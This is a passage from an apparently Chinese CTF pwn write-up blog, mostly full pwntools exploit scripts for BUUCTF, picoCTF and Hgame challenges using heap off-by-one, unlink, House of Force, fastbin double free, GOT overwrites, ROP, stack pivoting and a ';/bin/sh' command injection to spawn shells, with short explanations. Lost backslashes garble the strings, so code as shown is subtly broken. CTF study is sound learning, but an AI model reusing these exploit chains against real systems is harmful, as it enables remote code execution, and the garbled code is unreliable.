            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    def add(size_des,name,len_des,des):
        ru("Action: ")
        sl('0')
        ru("size of description: ")
        sl(str(size_des))
        ru("name: ")
        sl(name)
        ru("text length: ")
        sl(str(len_des))
        ru("text: ")
        sl(des)
    def delete(idx):
        ru("Action: ")
        sl('1')
        ru("index: ")
        sl(str(idx))
    def show(idx):
        ru("Action: ")
        sl('2')
        ru("index: ")
        sl(str(idx))
    def edit(idx,len_des,des):
        ru("Action: ")
        sl('3')
        ru("index: ")
        sl(str(idx))
        ru("text length: ")
        sl(str(len_des))
        ru("text: ")
        sl(des)
    
    z('b *0x08048859
    b *0x08048833
    b *0x08048948
    b *0x0804895F
    b *0x080489F6
    ')
    add(0x10,'a',0x10,'a')#0
    add(0x10,'a',0x10,'a')#1
    delete(0)
    
    pd='a'*0x84+p32(0x19)+'a'*0x14+p32(0x89)+p32(e.got['free'])
    print hex(e.got['free'])
    add(0x80,'a',0xa8,pd)#2
    add(0x20,'a',0x20,'/bin/shx00')#3
    #edit(1,0x4,p32(e.plt['puts']))
    show(1)
    ru("description: ")
    leak_addr=leak_address()
    print hex(leak_addr)
    libc=LibcSearcher('free',leak_addr)
    offset=leak_addr-libc.dump('free')
    sys_addr=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    edit(1,0x4,p32(sys_addr))
    delete(3)
    p.interactive()
    
    

    ciscn_2019_n_5--简单ret2shellcode

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='ciscn_2019_n_5'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',25099)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    def Getflag(p):
        p.sendline('cat /flag')
        return p.recvrepeat(0.3)
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    ru("tell me your name
    ")
    pd=asm(shellcraft.sh())
    sl(pd)
    ru("What do you want to say to me?
    ")
    sl('a'*0x28+p64(0x601080))
    p.interactive()
    
    

    ciscn_2019_es_2--栈地址泄露

    这道题自己又傻了,尝试了栈迁移去做,但是system()函数打不通,利用one_gadget本地可以但是远程不知道libc的版本。其实,这道题的思路应该是很清晰的,有两次read,每次read后都又printf函数,利用printf函数输出到'x00'结束的特点可以泄露出原ebp的值,这个值是指向栈中的,利用栈上恒定的偏移量可以迁移到我们输入的内容中,exp:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='i386')
    
    local=0
    binary_name='ciscn_2019_es_2'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',28873)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
        
    z()
    ru("Welcome, my friend. What's your name?
    ")
    pd='a'*0x27
    sl(pd)
    ru('a'*0x27+'
    ')
    leak_addr=leak_address()
    print hex(leak_addr)
    fake_ebp=leak_addr-0x38
    bin_sh=fake_ebp+12
    leave_ret=0x080484b8
    pd=p32(e.plt['system'])+'bbbb'+p32(bin_sh)+'/bin/shx00'
    pd=pd.ljust(0x28,'x00')
    pd+=p32(fake_ebp-4)+p32(leave_ret)
    sl(pd)
    p.interactive()
    
    

    printf函数后下断点可以看到指向字符串的指针,也就是fake_ebp的地址.

    bjdctf_2020_babystack2--简单整数溢出&ret2text

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='bjdctf_2020_babystack2'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',26760)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    z()
    ru("[+]Please input the length of your name:
    ")
    sl("-1")
    ru("[+]What's u name?
    ")
    pd='a'*(0x10+0x8)+p64(0x400726)
    sl(pd)
    p.interactive()
    
    

    bjdctf_2020_router--简单Linux命令考查

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='bjdctf_2020_router'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',28706)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    def ping(buf):
        ru("Please input u choose:")
        sl('1')
        ru("Please input the ip address:
    ")
        sl(buf)
    def lea_comment(buf):
        ru("Please input u choose:")
        sl('3')
        ru("Your suggest will help us to do better!
    ")
        sl(buf)
    
    ping(';/bin/sh')
    p.interactive()
    
    

    hitcontraining_heapcreator--简单chunk extend

    分析程序,有show()函数可以泄露地址,有create()函数但无堆溢出,delete()函数没有UAF,洞在edit()函数,直白的允许多输入一个字节,是off by one,构造出chunk overlapping,覆盖存储指针的地址为free()函数的got表,读可泄露地址,写可劫持程序流,exp:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='heapcreator'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',25401)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    def add(size,content):
        sla("Your choice :",'1')
        sla("Size of Heap : ",str(size))
        sla("Content of heap:",content)
    
    def edit(idx,content):
        sla("Your choice :",'2')
        sla("Index :",str(idx))
        sla("Content of heap : ",content)
    
    def show(idx):
        sla("Your choice :",'3')
        sla("Index :",str(idx))
    
    def delete(idx):
        sla("Your choice :",'4')
        sla("Index :",str(idx))
    
    z('b *0x400942
    b *0x4009C8
    b *0x400CCB
    b *0x400CE0
    ')
    add(0x18,'a')#0
    add(0x10,'a')#1
    edit(0,'a'*0x18+'x41')
    delete(1)
    pd='a'*0x18+p64(0x21)+p64(0x30)+p64(e.got['free'])
    add(0x30,pd)#1
    show(1)
    ru("Content : ")
    leak_addr=leak_address()
    print hex(leak_addr)
    libc=LibcSearcher('free',leak_addr)
    offset=leak_addr-libc.dump('free')
    sys_addr=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    edit(1,p64(sys_addr))
    edit(0,'/bin/shx00')
    delete(0)
    p.interactive()
    
    

    picoctf_2018_leak_me

    拿到程序,发现不能f5,报错信息如下:

    找到相应地址处的指令:

    查一下资料:

    先反汇编错误函数即可,接着分析程序,这里直接输入256个字符覆盖字符串结束符,可以泄露password内容:

    picoctf_2018_buffer overflow 2

    具体偏移调试一下:

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='i386')
    
    local=0
    binary_name='PicoCTF_2018_buffer_overflow_2'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',29985)
        #e=ELF("./"+binary_name)
        libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    z()
    pd='a'*(0x6c+4)+p32(0x080485CB)+'aaaa'+p32(0xDEADBEEF)+p32(0xDEADC0DE)
    ru("Please enter your string: 
    ")
    sl(pd)
    p.interactive()
    
    

    picoctf_2018_got_shell

    改写puts()got表为win函数地址:

    picoctf_2018_rop chain

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='i386')
    
    local=0
    binary_name='PicoCTF_2018_rop_chain'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',26075)
        #e=ELF("./"+binary_name)
        libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    #z()
    p_ret=0x0804840d
    pd='a'*(0x18+4)+p32(0x080485CB)+p32(0x080485D8)+p32(p_ret)+p32(0xBAAAAAAD)+p32(0x0804862B)+'aaaa'+p32(0xDEADBAAD)
    ru("Enter your input> ")
    sl(pd)
    p.interactive()
    
    

    hitcontraining_bamboobox

    整了很久,至今仍有一些疑惑,由于buu上/home/bamboobox/flag下没有flag文件,我们只能通过unlink直接getshell来读flag文件,先贴出House of Force的解法:

    这个解法需要注意一开始申请的chunk size需要大于0x10,否则top chunk申请到我们的target addr后,修改后的size是0x39,小于nb+MINSIZE,无法绕过检查:

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=1
    binary_name='bamboobox'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',28089)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    def add(lenth,name):
        sla("Your choice:",'2')
        sla("Please enter the length of item name:",str(lenth))
        sla("Please enter the name of item:",name)
    def show():
        sla("Your choice:",'1')
    def change(idx,lenth,name):
        sla("Your choice:",'3')
        sla("Please enter the index of item:",str(idx))
        sla("Please enter the length of item name:",str(lenth))
        sla("Please enter the new name of the item:",name)
    def remove(idx):
        sla("Your choice:",'4')
        sla("Please enter the index of item:",str(idx))
    
    z("b *0x400A6F
    b *0x400C05
    b *0x400CDD
    ")
    add(0x30,'a')#0
    pd='a'*0x30+p64(0)+p64(0xffffffffffffffff)
    change(0,0x40,pd)
    offset=-(0x40+0x20)-0x10
    add(offset,'a')
    magic=0x400D49
    add(0x10,p64(magic)*2)
    sla("Your choice:",'5')
    p.interactive()
    
    

    接着是unlink的解法,以下两种都可以:

    首先是通过unlink修改free函数的got表为system函数,但是这种解法申请的第一个chunk必须申请≤0x70,申请0x80大小的chunk就会报错,至今疑惑:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='bamboobox'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',27353)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    def add(lenth,name):
        sla("Your choice:",'2')
        sla("Please enter the length of item name:",str(lenth))
        sla("Please enter the name of item:",name)
    def show():
        sla("Your choice:",'1')
    def change(idx,lenth,name):
        sla("Your choice:",'3')
        sla("Please enter the index of item:",str(idx))
        sla("Please enter the length of item name:",str(lenth))
        ru("Please enter the new name of the item:")
        sd(name)
    def remove(idx):
        sla("Your choice:",'4')
        sla("Please enter the index of item:",str(idx))
    
    z("b *0x400A6F
    b *0x400C05
    b *0x400CDD
    ")
    add(0x70,'a')#0
    add(0x80,'a')#1
    add(0x10,'/bin/shx00')#2
    head=0x6020c8
    pd=p64(0)+p64(0x71)
    pd+=p64(head-0x18)+p64(head-0x10)
    pd=pd.ljust(0x70,'x00')
    pd+=p64(0x70)+p64(0x90)
    
    change(0,0x90,pd)
    remove(1)
    pd='x00'*0x10+p64(0x60)+p64(e.got['free'])
    change(0,len(pd),pd)
    show()
    ru("0 : ")
    leak_addr=leak_address()
    print hex(leak_addr)
    libc=LibcSearcher('free',leak_addr)
    offset=leak_addr-libc.dump('free')
    sys_addr=offset+libc.dump('system')
    pd=p64(sys_addr)
    change(0,8,p64(sys_addr))
    remove(2)
    p.interactive()
    
    

    最后是直接改atoi函数的got表,这样第一个申请到的chunk是0x80也没关系:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=1
    binary_name='bamboobox'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',27353)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    def add(lenth,name):
        sla("Your choice:",'2')
        sla("Please enter the length of item name:",str(lenth))
        sla("Please enter the name of item:",name)
    def show():
        sla("Your choice:",'1')
    def change(idx,lenth,name):
        sla("Your choice:",'3')
        sla("Please enter the index of item:",str(idx))
        sla("Please enter the length of item name:",str(lenth))
        ru("Please enter the new name of the item:")
        sd(name)
    def remove(idx):
        sla("Your choice:",'4')
        sla("Please enter the index of item:",str(idx))
    
    z("b *0x400A6F
    b *0x400C05
    b *0x400CDD
    ")
    add(0x80,'a')#0
    add(0x80,'a')#1
    add(0x10,'a')#2
    head=0x6020c8
    pd=p64(0)+p64(0x81)
    pd+=p64(head-0x18)+p64(head-0x10)
    pd=pd.ljust(0x80,'x00')
    pd+=p64(0x80)+p64(0x90)
    
    change(0,0x90,pd)
    remove(1)
    pd='x00'*0x10+p64(0x80)+p64(e.got['atoi'])
    change(0,len(pd),pd)
    show()
    ru("0 : ")
    leak_addr=leak_address()
    print hex(leak_addr)
    libc=LibcSearcher('atoi',leak_addr)
    offset=leak_addr-libc.dump('atoi')
    sys_addr=offset+libc.dump('system')
    pd=p64(sys_addr)
    change(0,8,p64(sys_addr))
    ru("Your choice:")
    sd('/bin/shx00')
    p.interactive()
    
    

    jarvisoj_level4--DynELF泄露地址

    题目缺少libc,利用了pwntools下的工具DynELF可以泄露system函数,利用read函数读入/bin/sh到bss段,从而getshell:

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='level4'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',29460)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    #这里只能返回到main/start,不能返回vul,需要初始化与栈相关的变量
    main=0x08048470
    def leak(addr):
        pd='a'*(0x88+4)+p32(e.plt['write'])+p32(main)+p32(1)+p32(addr)+p32(4)
        sd(pd)
        data=p.recv(4)
        return data
    
    d=DynELF(leak,elf=e)
    sys_addr=d.lookup('system','libc')
    print hex(sys_addr)
    
    #z()
    
    bss=0x0804A100
    pd='a'*(0x88+4)+p32(e.plt['read'])+p32(main)+p32(0)+p32(bss)+p32(8)
    sd(pd)
    sd('/bin/shx00')
    pd='a'*(0x88+4)+p32(sys_addr)+p32(0)+p32(bss)
    sl(pd)
    p.interactive()
    
    

    roarctf_2019_easy_pwn--简单off by one

    分析程序,可以看到在write note的时候,如果我们输入的size比申请时size大10,则存在off by one漏洞,我们可以利用这个通过chunk extend的技术,构造重叠的堆块,通过构造unsorted bin并与使用的堆块重叠来泄露地址,随后arbitary malloc,修改fastbin的fd,申请到任意地址,最后由于所有的one_gadget都不能满足要求,我们利用realloc抬栈以满足条件,getshell,exp如下:

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='roarctf_2019_easy_pwn'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',26105)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    def add(size):
        sla("choice: ",'1')
        sla("size: ",str(size))
    def edit(idx,size,content):
        sla("choice: ",'2')
        sla("index: ",str(idx))
        sla("size: ",str(size))
        sla('content: ',content)
    def delete(idx):
        sla("choice: ",'3')
        sla("index: ",str(idx))
    def show(idx):
        sla("choice: ",'4')
        sla("index: ",str(idx))
    
    #z('b *0x555555554CCC
    b *0x555555555054
    b *0x555555554f6D
    b *0x5555555551cb
    ')
    add(0x20)#0
    add(0x40)#1
    add(0x60)#2
    add(0x10)#3
    delete(0)
    add(0x28)#0
    edit(0,0x28+10,'a'*0x28+'xc1')
    delete(1)
    add(0x40)#1
    show(2)
    ru("content: ")
    leak_addr=leak_address()
    print hex(leak_addr)
    libc_base=leak_addr-libc.sym['__malloc_hook']-0x10-88
    log.info("libc_base:"+hex(libc_base))
    add(0x60)#4->2
    delete(2)
    malloc_hook=libc_base+libc.sym['__malloc_hook']-35
    edit(4,8,p64(malloc_hook))
    add(0x60)#2
    add(0x60)#5->malloc_hook
    one_gadget=libc_base+0xf1147
    realloc=libc_base+libc.sym['__libc_realloc']
    edit(5,27,'a'*(35-0x10-8)+p64(one_gadget)+p64(realloc+4))
    add(0x10)
    p.interactive()
    '''
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL
    
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL
    
    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL
    
    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    '''
    
    

    jarvisoj_test_your_memory--ret2text

    程序给出了system程序段,需要我们传入command字符串,打印出的hint中存储的就是字符串的地址,我们只需要将其作为参数传入后ret2text即可,但是这里有个坑点就是中间需要经过strncmp函数,该函数的前两个参数都是字符串地址,因此我们必须保证我们构造的返回地址(也就是s2的位置)是可读的,否则会卡在该函数上。exp:

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='memory'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',25078)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    '''
    z()
    ru("
    what???? : 
    0x")
    leak_addr=int(p.recv(7),16)
    print hex(leak_addr)
    ru("cff flag go go go ...
    
    ")
    '''
    pd='a'*0x13+'aaaa'+p32(0x080485BD)+p32(0x080488ff)+p32(0x80487e0)
    sl(pd)
    #sl('a')
    p.interactive()
    
    

    something else

    Hgame2020-Week3-Annevi

    主要考查了unlink,首先利用small chunk free后再次show泄露main_arena地址,随后利用edit()函数中的堆溢出漏洞和存放malloc的chunk指针的数组伪造small_chunk造成unlink,最后覆盖free_hook地址为system函数,释放chunk以getshell,exp:

    from pwn import *
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='Annevi'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('47.103.214.163', 20301)
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x) 
    sla=lambda a,b:p.sendlineafter(a,b)
    
    def add(size,content='aa'):
        sla(":","1")
        sla("size?
    ",str(size))
        sla("content:",content)
        ru("done!
    ")
    
    def dele(idx):
        sla(":",'2')
        sla("index?
    ",str(idx))
        #ru("done!
    ")
    
    def show(idx):
        sla(":","3")
        sla("index?
    ",str(idx))
    
    def edit(idx,content):
        sla(":","4")
        sla("index?
    ",str(idx))
        sla("content:",content)
        ru("done!
    ")
    
    z('b *0x4009F3
    b *0x400AA9
    b *0x400B1E
    b *0x400BA7
    ')
    add(0x90)
    add(0x90)
    dele(0)
    add(0x90,'')
    show(0)
    ru("content:")
    leak_addr=u64(p.recv(6).ljust(8,'x00'))
    offset=leak_addr-0x0a+0x78-88-libc.symbols['__malloc_hook']-0x10
    add(0x90)
    add(0x90)
    head=0x602040
    pd=p64(0)+p64(0x91)+p64(head+16-0x18)+p64(head+16-0x10)
    pd=pd.ljust(0x90,'x00')
    pd+=p64(0x90)+p64(0xa0)
    edit(2,pd)
    dele(3)
    add(0x90,'/bin/sh;')
    pd='a'*0x8+p64(offset+libc.symbols['__free_hook'])
    edit(2,pd)
    edit(0,p64(offset+libc.symbols['system']))
    dele(3)
    #dele(1)
    p.interactive()
    
    

    findyourself

    是一道考查linux shell命令的题目:

    / 表示绝对路径
    ./ 表示在当前目录下查找
    ls -l 表示以长列表的形式list
    /proc/self/cwd 存放当前程序运行进程的current working directory
    1>&0 可以重定位输出流,适用于程序流中close(1),getshell后无法回显的问题
    
    

    Roc826

    主要考查fastbin的double free漏洞,分析程序发现在delete()函数中未将函数指针设为NULL,存在UAF漏洞,可以借此泄露main_arena地址,随后用fastbin的double free attack,找到合适的chunk位置,覆盖free函数got表为system函数或者覆盖__malloc_hook为one_gadget地址,再次执行free/malloc函数来getshell,exp:

    from pwn import *
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='Roc826'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
        p=remote('47.103.214.163', 21002)
        e=ELF("./"+binary_name)
        libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    
    #gdb.attach(p,'b *0x400A28
    b *0x400ADE
    b *0x400B57
    ')
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    
    def add(size,content):
        sla(':','1')
        ru("size?
    ")
        sl(str(size))
        ru("content:")
        sl(content)
        ru('done!
    ')
    
    def dele(idx):
        sla(':','2')
        sla("index?
    ",str(idx))
        ru("done!
    ")
    
    def show(idx):
        sla(':','3')
        sla("index?
    ",str(idx))
        ru("content:")
    
    add(0x90,'a')
    add(0x90,'a')
    dele(0)
    show(0)
    leak_addr=u64(p.recv(6).ljust(8,'x00'))-88
    offset = leak_addr-libc.symbols['__malloc_hook']-0x10
    add(0x50,'a')#2
    add(0x50,'a')#3
    dele(2)
    dele(3)
    dele(2)
    add(0x50,p64(e.got['free']-30))#4->2
    add(0x50,'/bin/sh')#5->3
    add(0x50,'a')#6->2
    one_gadget=0xf1147
    add(0x50,'a'*14+p64(offset+libc.sym['system'])[:6])#7->fake
    sla(":",'2')
    sla("index?
    ",'5')
    p.interactive()
    
    
  • 相关阅读:
    [ USACO 2018 OPEN ] Out of Sorts (Platinum)
    [ USACO 2018 OPEN ] Out of Sorts (Gold)
    [ USACO 2018 OPEN ] Out of Sorts (Silver)
    [ BZOJ 4236 ] JOIOJI
    [ HAOI 2012 ] 容易题
    [ HAOI 2008 ] 玩具取名
    「BZOJ 4502」串
    Codeforces 493 E.Devu and Birthday Celebration
    「TJOI 2018」教科书般的亵渎
    「TJOI 2018」游园会 Party
  • 原文地址:https://www.cnblogs.com/Theffth-blog/p/12790666.html
Copyright © 2011-2022 走看看